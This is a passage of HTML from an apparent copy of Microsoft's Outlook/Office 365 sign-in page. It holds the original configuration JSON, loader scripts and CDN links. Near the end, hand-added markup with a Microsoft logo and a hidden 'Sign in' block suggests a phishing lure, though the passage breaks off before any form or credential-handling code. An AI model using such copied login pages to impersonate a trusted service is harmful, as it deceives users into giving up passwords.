pName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
